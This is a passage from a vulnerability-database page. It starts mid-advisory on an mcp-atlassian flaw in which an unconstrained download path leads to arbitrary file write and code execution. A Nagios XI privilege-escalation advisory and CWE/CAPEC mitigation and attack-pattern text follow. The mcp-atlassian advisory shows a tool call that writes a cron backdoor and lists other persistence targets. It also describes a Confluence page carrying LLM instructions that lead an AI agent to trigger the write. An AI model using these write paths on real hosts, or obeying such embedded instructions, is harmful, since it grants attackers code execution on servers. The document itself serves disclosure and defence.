\"attachment_id\": \"\u003cattachment id\u003e\",\n              \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n          }\n      },\n      \"id\": 1\n  }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n  - /home/\u003cuser\u003e/.ssh/authorized_keys - persistent SSH backdoor\n  - \u003cvenv\u003e/lib/python3.x/site-packages/\u003cany_imported_module\u003e.py - code execution on next import\n  - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server\u0027s HTTP port can call tools using the server\u0027s own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application\u0027s virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
  "id": "GHSA-xjgw-4wvw-rgm4",
  "modified": "2026-03-10T18:56:07Z",
  "published": "2026-03-10T18:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
}

GHSA-XJHG-WRCC-8945

Vulnerability from github – Published: 2025-10-31 00:30 – Updated: 2025-11-05 18:31
VLAI
Details

Nagios XI versions prior to 5.7.3 contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-36868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-30T22:15:39Z",
    "severity": "HIGH"
  },
  "details": "Nagios XI versions prior to\u00a05.7.3\u00a0contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.",
  "id": "GHSA-xjhg-wrcc-8945",
  "modified": "2025-11-05T18:31:30Z",
  "published": "2025-10-31T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36868"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/changelog/nagios-xi"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-insecure-getprofile-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation
Architecture and Design Operation
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation
Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation
Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.